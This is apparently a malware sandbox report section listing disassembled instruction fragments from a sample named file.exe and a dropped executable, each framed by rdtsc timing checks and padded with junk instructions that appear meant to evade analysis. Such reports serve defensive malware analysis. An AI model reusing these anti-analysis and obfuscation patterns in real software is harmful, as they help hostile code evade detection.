Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAB5A second address: 8CAB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAB67 second address: 8CAB6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0919 second address: 8D091F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D091F second address: 8D0983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007FDE885210BCh 0x00000010 nop 0x00000011 call 00007FDE885210AEh 0x00000016 mov edx, dword ptr [ebp+122D3A61h] 0x0000001c pop edx 0x0000001d push dword ptr [ebp+122D21C4h] 0x00000023 adc dx, 8278h 0x00000028 call 00007FDE885210A9h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jl 00007FDE885210A6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0983 second address: 8D098D instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE88D87896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D098D second address: 8D09C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FDE885210B7h 0x00000012 jmp 00007FDE885210B1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D09C0 second address: 8D09F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007FDE88D87896h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 jmp 00007FDE88D878A8h 0x00000016 pop edi 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D09F2 second address: 8D09F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D09F6 second address: 8D09FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D09FC second address: 8D0A14 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE885210ACh 0x00000008 jne 00007FDE885210A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2217 second address: 8D221B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D221B second address: 8D2221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2221 second address: 8D223D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE88D878A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0285 second address: 4FA028C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA028C second address: 4FA0292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0292 second address: 4FA0296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0296 second address: 4FA02D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDE88D8789Ch 0x00000015 jmp 00007FDE88D878A5h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA02D2 second address: 4FA02D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA02D8 second address: 4FA02F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA02F4 second address: 4FA02F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA02F8 second address: 4FA02FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0467 second address: 4FA046D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA046D second address: 4FA0471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0471 second address: 4FA04C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FDE885210B9h 0x0000000e mov ebp, esp 0x00000010 jmp 00007FDE885210AEh 0x00000015 pop ebp 0x00000016 pushad 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FDE885210ACh 0x0000001e or cx, E6E8h 0x00000023 jmp 00007FDE885210ABh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0554 second address: 4FA058C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d jmp 00007FDE88D8789Eh 0x00000012 mov edx, dword ptr [ebp+0Ch] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA058C second address: 4FA0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0590 second address: 4FA0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0594 second address: 4FA059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA059A second address: 4FA05CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDE88D878A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05CD second address: 4FA05E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE885210B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05E5 second address: 4FA0624 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 mov si, 233Dh 0x00000018 popad 0x00000019 inc edx 0x0000001a jmp 00007FDE88D878A8h 0x0000001f test al, al 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0624 second address: 4FA0628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0628 second address: 4FA0624 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ax, 99D5h 0x0000000a popad 0x0000000b jne 00007FDE88D87853h 0x00000011 mov al, byte ptr [edx] 0x00000013 pushad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a mov si, 233Dh 0x0000001e popad 0x0000001f inc edx 0x00000020 jmp 00007FDE88D878A8h 0x00000025 test al, al 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA06CB second address: 4FA0723 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 dec edi 0x00000008 pushad 0x00000009 jmp 00007FDE885210B0h 0x0000000e call 00007FDE885210B2h 0x00000013 mov dl, ch 0x00000015 pop edi 0x00000016 popad 0x00000017 lea ebx, dword ptr [edi+01h] 0x0000001a jmp 00007FDE885210AAh 0x0000001f mov al, byte ptr [edi+01h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDE885210B7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0723 second address: 4FA073B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE88D878A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA073B second address: 4FA073F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA073F second address: 4FA0754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE88D8789Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0754 second address: 4FA0774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6E3D67F4h 0x00000008 jmp 00007FDE885210ADh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test al, al 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0774 second address: 4FA0778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0778 second address: 4FA077E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA077E second address: 4FA0793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE88D878A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0793 second address: 4FA0806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FDEFA72938Ah 0x0000000e jmp 00007FDE885210ADh 0x00000013 mov ecx, edx 0x00000015 pushad 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FDE885210AAh 0x0000001d xor si, 4F38h 0x00000022 jmp 00007FDE885210ABh 0x00000027 popfd 0x00000028 push eax 0x00000029 pop edi 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007FDE885210B4h 0x00000031 jmp 00007FDE885210B5h 0x00000036 popfd 0x00000037 popad 0x00000038 shr ecx, 02h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0806 second address: 4FA080A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA080A second address: 4FA080E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA080E second address: 4FA0814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0814 second address: 4FA0847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 pushfd 0x00000007 jmp 00007FDE885210ADh 0x0000000c or al, FFFFFFE6h 0x0000000f jmp 00007FDE885210B1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0847 second address: 4FA0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FDE88D878A9h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0866 second address: 4FA0887 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c mov bl, 44h 0x0000000e popad 0x0000000f and ecx, 03h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0887 second address: 4FA088B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA088B second address: 4FA0891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0891 second address: 4FA08F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007FDE88D878A0h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 jmp 00007FDE88D878A0h 0x0000001c mov eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDE88D878A7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08F1 second address: 4FA094C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d call 00007FDE885210ACh 0x00000012 mov esi, 1C2DECF1h 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007FDE885210ADh 0x00000020 xor ecx, 75FDCB86h 0x00000026 jmp 00007FDE885210B1h 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA094C second address: 4FA0950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0950 second address: 4FA0979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr fs:[00000000h], ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDE885210B8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0979 second address: 4FA099B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ah, 9Bh 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE88D878A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA099B second address: 4FA09F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b call 00007FDE885210B4h 0x00000010 mov bh, ah 0x00000012 pop edx 0x00000013 pushfd 0x00000014 jmp 00007FDE885210ACh 0x00000019 jmp 00007FDE885210B5h 0x0000001e popfd 0x0000001f popad 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 mov al, bh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA09F0 second address: 4FA0A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b mov dx, ax 0x0000000e pushfd 0x0000000f jmp 00007FDE88D878A0h 0x00000014 xor al, 00000008h 0x00000017 jmp 00007FDE88D8789Bh 0x0000001c popfd 0x0000001d popad 0x0000001e leave 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A2C second address: 4FA0A32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A32 second address: 4FA0A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A38 second address: 4FA0A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0BF5 second address: 4FA0BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0BFB second address: 4FA0C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0C01 second address: 4FA0C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0C05 second address: 4FA0C14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0C14 second address: 4FA0C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0C18 second address: 4FA0C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4A2AF3 second address: 4A2B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FDE88D878A1h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4A2B11 second address: 4A2B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AB5AA second address: 4AB5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 jmp 00007FDE88D878A5h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AB5CC second address: 4AB5D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AB5D0 second address: 4AB603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDE88D878A7h 0x00000012 jmp 00007FDE88D8789Fh 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AB603 second address: 4AB60F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FDE885210A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AB60F second address: 4AB628 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE88D8789Ch 0x00000008 pushad 0x00000009 jno 00007FDE88D87896h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4ABC69 second address: 4ABC9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FDE885210D2h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDE885210B1h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4ABE1C second address: 4ABE20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE0DE second address: 4AE10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push ecx 0x00000010 mov dword ptr [ebp+122D1FA7h], ebx 0x00000016 pop ecx 0x00000017 push 00000000h 0x00000019 sbb dx, 5169h 0x0000001e push 799E3F45h 0x00000023 pushad 0x00000024 jc 00007FDE885210A8h 0x0000002a pushad 0x0000002b popad 0x0000002c push ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE10D second address: 4AE15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xor dword ptr [esp], 799E3FC5h 0x0000000d mov cx, di 0x00000010 push 00000003h 0x00000012 mov esi, dword ptr [ebp+122D19DCh] 0x00000018 push 00000000h 0x0000001a mov ecx, edi 0x0000001c push 00000003h 0x0000001e mov ecx, dword ptr [ebp+122D2A56h] 0x00000024 or ecx, 2B440112h 0x0000002a call 00007FDE88D87899h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FDE88D878A8h 0x00000036 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE15A second address: 4AE172 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE885210B3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE172 second address: 4AE19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a js 00007FDE88D87896h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDE88D878A0h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE19D second address: 4AE1AA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE1AA second address: 4AE1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
